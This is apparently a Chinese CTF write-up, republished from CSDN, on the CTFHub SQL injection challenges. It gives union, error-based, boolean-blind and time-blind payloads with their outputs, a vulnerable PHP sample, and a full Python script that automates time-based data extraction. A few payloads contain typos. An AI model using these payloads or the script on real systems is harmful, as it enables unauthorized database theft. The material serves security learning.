SQL注入基础(ctfhub sql注入)
本文首发于csdn社区kofi6博客《SQL注入基础(ctfhub sql注入)》
https://blog.csdn.net/kofi6/article/details/119708034
目录:
0x00 前言
0x01 整数型注入
分析题目
注入原理
构造payload
0x02 字符型注入
分析题目
注入原理
payload构造
0x03 报错注入
题目分析
注入原理
payload构造
0x04 布尔盲注
分析题目
注入原理
payload构造
0x05 时间盲注
分析题目
注入原理
payload构造
0xff 总结
数据类型分类:
回显类型
0x00 前言
这两天在CTFHub上练题,刚好练到了SQL注入这个之前我一直也不是很懂,这回一做发现其中大有玄妙,所以就一起写个小总结。
CTFhHub:https://www.ctfhub.com/#/index
上面这张图是CTFHub的SQL注入技能树,我后面的内容大致会根据技能树上的内容进行分析。技能树上每个未划去的节点都有一个相对的题目,所以会依托题目的形式来分析。
0x01 整数型注入
分析题目
输入1后查看出题人非常贴心的把查询语句也输出了出来,我们可以看到直接查询了id=1,这里的1是数字1,这个时候就可以使用联合查询注入了。
注入原理
可以发现,在原本的语句后面拼接一个union select就可以达到联合查询的效果,但是需要注意查询的列数需要相等,否则会报错。在这题当中并不需要注意,因为已经是相等的了,在某些题目当中需要使用limit函数来限制输出,这个后面有时间会写。在这里只需要知道union可以实现联合注入查询就可以了。这里需要知道,数据查询后,按行传递给服务器输出,我们将本地的查询语句稍微修改一下,就会发现原本的第一行不见了。那么此时第二行就会被服务器返回前端。只需要构造好代码,就可以查询数据库的所有内容了。
构造payload
首先是要让id错误,显然id不为负数,所以id=-1,又要让列数保持为2,所以union后接的第一个数为1。所以根据不同目的,payload为
爆出数据库名
-1 union select 1,databse()
>>>sqli
爆出表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
>>>news,flag
爆出列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
>>>flag
爆出数据
-1 union select 1,flag from sqli.flag
>>>ctfhub{********************************}
至此,得到flag。
0x02 字符型注入
分析题目
提示输入1,那么输入1后可以看到,1被'包裹起来了,显然这是一个字符型查询。再尝试输入-1=1,发现搜索id='-1=1',所以需要对前面的引号进行闭合,对后面的引号进行注释
注入原理
这里需要将后面的引号进行注释,最简单的办法就是使用#注释,当然也可以使用'对后面的引号闭合。但是使用'进行闭合在本地测试会报错。所以不建议使用这种方式,因为不保证稳定性。
payload构造
与上面一个题型类似,我们先要让查询的数字错误好使第一组数据为空,接着就是一步一步的命令注入。
查询数据库
-1' union select 1,database()#
>>>sqli
爆表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database();#
>>>news,flag
爆列名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag';#
>>>flag
爆数据
-1' union select 1,flag from sqli.flag;#
>>>ctfhub{************************}
0x03 报错注入
题目分析
输入1,显然,本题仅返回查询是否成功。那么前面的注入技巧就失效了。因为无法直接通过联合查询查到内容。这里需要新的注入方式。
注入原理
先讲最简单的办法
这里可以使用一个叫extractvalue()的函数对命令进行注入。同样,这个函数的具体分析会在后面单独讲,这里只讲用法。
select extractvalue(null,concat(0x7e,(commond),0x7e))
这里的commond就是你要注入的命令了。但是需要注意的是,这个函数最多只能返回32个字符,如果多了需要使用substring函数截取,使用方法如下
select extractvalue(null,concat(0x7e,(substring(commond),1,32),0x7e))
1和32分别为截取两段坐标,坐标从1开始。
另外还有一个更加通用的办法
那就是把这题当做布尔注入来做。具体操作方法看0x04布尔注入。因为布尔注入返回真或假,而报错注入同样返回查询成功(ture)和查询失败(false)。所以完全可以使用布尔注入来做。
可以这么认为,布尔注入是更特殊的报错注入,因为不会返回错误原因。
payload构造
这里就不再分析了,直接上代码,思路和上面几道题一模一样。
1 union select extractvalue(null,concat(0x7e,(select database()),0x7e))
>>>XPATH syntax error: '~sqli~'
1 union select extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))
>>>XPATH syntax error: '~news,flag~'
1 union select extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))
>>>XPATH syntax error: '~flag~'
1 union select extractvalue(null,concat(0x7e,(select flag from sqli.flag),0x7e))
>>>XPATH syntax error: '~ctfhub{************'
显然可以看到,这一次不太顺利,flag没有截全。这里使用substring函数
1 union select extractvalue(null,concat(0x7e,substring((select flag from sqli.flag),32),0x7e))
>>>XPATH syntax error: '~}~'
0x04 布尔盲注
分析题目
可以看到,返回了一个查询成功的结果,这里就没办法直接看到返回的结果。仍然是一个数字型的查询。
注入原理
这里我们首先要分析一下后端的代码是怎么写的,才能更好的理解注入。如果不感兴趣的话可以直接跳过这这一段。我们使用sql-lab的代码进行修改
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo $result;
echo '<br>';
var_dump($row);
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "<br>";
echo 'this is result:';
echo $result;
echo '<br>';
echo 'this is row:';
#echo $row;
var_dump($row);
echo "<br>";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
这里只摘取了核心的代码。这一段代码修改过后实现的功能变为:如果查询成功那么输出“You are in...........”这句话,并且输出变量result和row,可以更直观的看到传入的参数是怎么计算的,否则不输出you are in,但是同样输出result和row。先尝试输入id=1,获得结果是可以看到,在正确查询的情况下,在if判断时传入的是一个数组,此时if判断为ture 但是如果无法查询到结果的话,就会得到false
有一个重要的特性,就是在sql查询语句中使用and拼接一个逻辑值为flase的语句,result也会变为flase
在本地查询发现,这其实是SQL查询的时候,如果在使用and后面加上逻辑值为false的语句,就会返回一个空值,经过result对应的函数处理之后返回值为false。
那么我们就可以使用这个特性,构造payload来获取信息
payload构造
说回ctfhub的题,这题是数字型注入,所以不用考虑引号的问题
这里需要注意的是:后面的select是子查询,在SQL语句中,子查询一定要用括号扩起来,否则会报错。以数据库名为例,一定不能写ascii(substr(select database(),1,1))
测试可以使用python的requests库,或者burpsuite中intruder模块的clusterboom方式爆破。因为后面的时间注入会用到python,而且方法也可以用在这个上面,所以这里使用burpsuite演示。
ascii()函数,将传入的字符转换为ascii码
爆数据库名
1 and ascii(substr((select database()),%d,1))=%d
第一个变量设置有效载荷为数字1-15,可以根据实际情况进行调整,注入前可以先使用length函数测试一下有多长。第二个变量为数字33-126,开始爆破。
爆破后设置过滤器为query_sucess,查询对应ascii编码可以得知数据库名为sqli
爆破表名
1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d
非常显而易见,表名是news,flag,但是这是我们根据前面的经验判断的,如果不知道的话,有9位还是挺难算的。这里给出我的解决方法。
选择上方的保存,选择payload1和payload2,保存为1.xls,然后复制payload2,再随便找个空地方粘贴,粘贴的时候选择转置粘贴。接着选择记事本方式打开,就得到了横着排列的ascii值了,直接复制下来随便到哪个网站进行解码就行了。这个方法在后面的爆列名和爆flag都适用
爆列名
1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d
同样表名是flag
爆数据
1 and ascii(substr((select flag from sqli.flag),%d,1))=%d
爆破成功,解码这一步我就不演示了,我的上面说的是一种方法,另外使用python写个脚本解码也很快的。如果解码这步看不明白的可以私信我录屏给你演示。
0x05 时间盲注
分析题目
没什么好分析的,完全没回显
注入原理
这题没有任何的回显,所以选择采用if与sleep()延时函数来判断。if(exp1,exp2,exp3),其中exp1为逻辑值表达式,当exp1为ture时执行exp2,否则执行exp3。这里使用if((select xxx)=xxx,sleep(1),1)这样的语句来判断。整体上也没有太多的新知识点。
payload构造
这里使用python的requests库来进行测试。有几点要提醒一下
•
1.代码有点长,因为我没有进行封装。其实几个函数大同小异。整体思路就是get_length然后再爆name。
•
2.如果你不喜欢cv的话,那么你在写的时候一定要注意了,要加入一个time.sleep(0.5),防止请求过于频繁导致被ban ip。
•
3.如果你喜欢cv的话,请注意,四个步骤(数据库名、表名、列名和数据)我是逐步写的。测试过程中每次只使用对应的函数。所以里面的参数我都是有针对性的。如果想要让脚本更加普适的话,可以加入输入的步骤来拼接payload,比如爆破列名,select xxxxx from 'flag'中的'flag'就可以使用输入拼接。
•
4.优化建议:因为可能会出现被ban的情况,而sleep不仅降低效率,而且治标不治本,所以可以尝试修改使用try来捕捉错误,并在被ban后sleep(1),再重放被ban的循环。这里我懒得调试了,所以想优化代码的话可以尝试这样修改。
•
5.优化建议:为什么不用group_concat而使用limit呢?因为group_concat在本地测试的时候似乎会因为生成的逗号干扰substr()函数的参数输入,而导致查询错误。我没有深究,也有可能是我输入错误或者子查询未加括号导致的。如果你希望优化代码,可以从这里下手试试看。
•
6.优化建议:这里我使用了暴力破解的方式,但是使用二分法等算法逻辑可以更快的爆出数据。可以考虑使用大于或小于号对数据进行逼近。
import requests
import time
url='xxxxxxxxxxxxxxxxxxxx'
flag=True
def database_len():
length=0
databse=''
print("strat getting length of database_name...")
for i in range(1,50):
payload="1 and if(length(database())=%d,sleep(1),1)"%i
time1=time.time()
requests.get(url+payload)
if (time.time()-time1)>=1:
length=i
print("the length of database_name:",str(length))
return length
def database_name():
name=''
for j in range(1,name_len+1):
for i in range(33,126):
payload='''?id=1 and if(substr(database(),%d,1)='%s',sleep(1),1)'''%(j,chr(i))
time1 = time.time()
requests.get(url + payload + '%23')
time2 = time.time()
if (time2-time1)>=1:
name+=chr(i)
print(name)
break
print('database_names:',name)
def tables_len():
length=0
tables=''
print("strat getting length of tables_name...")
for i in range(1,50):
payload='?id=1 and if((length((select group_concat(table_name) from information_schema.tables where table_schema = database())))=%d,sleep(1),1)'%i
payload=url+payload
time1=time.time()
requests.get(payload)
if (time.time()-time1)>=1:
length=i
print("the length of table_names:",str(length))
return length
def tables_name():
print("start getting table_names")
name=''
for k in range(0,2):
for j in range(1,name_len+1):
for i in range(33,127):
flag=True
payload='''?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(2),0)'''%(k,j,i)
time1 = time.time()
requests.get(url + payload + '%23')
#time.sleep(0.5)
time2 = time.time()
if (time2-time1)>=2:
name+=chr(i)
print(name)
break
elif(i==126):
flag=False
name+=','
#这里跳出最内层循环
break;
if not flag:
#这里跳出第二层循环
break
if(len(name)==name_len+1):
break;
print('table_names:',name)
def column_len():
length=0
tables=''
print("strat getting length of column_name...")
for i in range(1,50):
payload='''?id=1 and if((length((select group_concat(column_name) from information_schema.columns where table_name = 'flag')))=%d,sleep(1),1)'''%i
payload=url+payload
time1=time.time()
requests.get(payload)
if (time.time()-time1)>=1:
length=i
print("the length of column_names:",str(length))
return length
def column_name():
print("start getting column_names")
name=''
for k in range(0,50):
for j in range(1,name_len+1):
for i in range(33,127):
flag=True
payload='''?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag' limit %d,1),%d,1))=%d,sleep(2),0)'''%(k,j,i)
time1 = time.time()
requests.get(url + payload + '%23')
#time.sleep(0.5)
time2 = time.time()
if (time2-time1)>=2:
name+=chr(i)
print(name)
break
elif(i==126):
flag=False
name+=','
#这里跳出最内层循环
break;
if not flag:
#这里跳出第二层循环
break
if(len(name)==name_len+1):
break;
print('column_name:',name)
def cat_flag():
name=''
print("start getting flag_len")
length=0
for i in range(1,50):
payload='''?id=1 and if(length((select flag from sqli.flag))=%d,sleep(1),1)'''%i
time1=time.time()
requests.get(url+payload)
if time.time()-time1>=1:
length=i
break
print("the flag length is",str(length))
for j in range(1,length+1):
for i in range(33,127):
payload='''?id=1 and if(ascii(substr((select flag from sqli.flag),%d,1))=%d,sleep(1),1)'''%(j,i)
time1=time.time()
requests.get(url+payload)
if time.time()-time1>=1:
name+=chr(i)
print(name)
break
print('the flag is',name)
name_len=database_len()
database_name()
name_len=tables_len()
tables_name()
name_len=column_len()
column_name()
cat_flag()
0xff 总结
数据类型分类:
字符型 | 数字型 |
需要闭合,且需要注释后面的单引号 | 直接and或者union执行命令 |
回显类型
类型 | 方法 |
完全回显 | 堆叠查询时使用limit限制输出 |
报错回显 | 使用extractvalue()函数来使命令执行 |
布尔回显 | 使用and ascii(select xxx)='xxx'来逐个字符爆破 |
无回显(时间注入) | 使用if(ascii((select xxx))='xxx',sleep(1),1)来判断。建议使用Python脚本 |
显然,回显类型是有递进关系的。越往下回显的信息越少。所以下面能使用的方法上面一定可以使用。只是麻烦程度不同罢了。
SQL注入的基础就写这么多。笔者也是刚学完当做学习笔记,记录一下。我感觉后面更多的是研究绕过技术。绕过select命令不允许执行、绕过转义等等。后面会写一下SQL注入中常用的函数和其他一些SQL基础的东西,因为在我的学习过程中也因为这些东西阻碍了挺久的,所以感觉有必要写一下。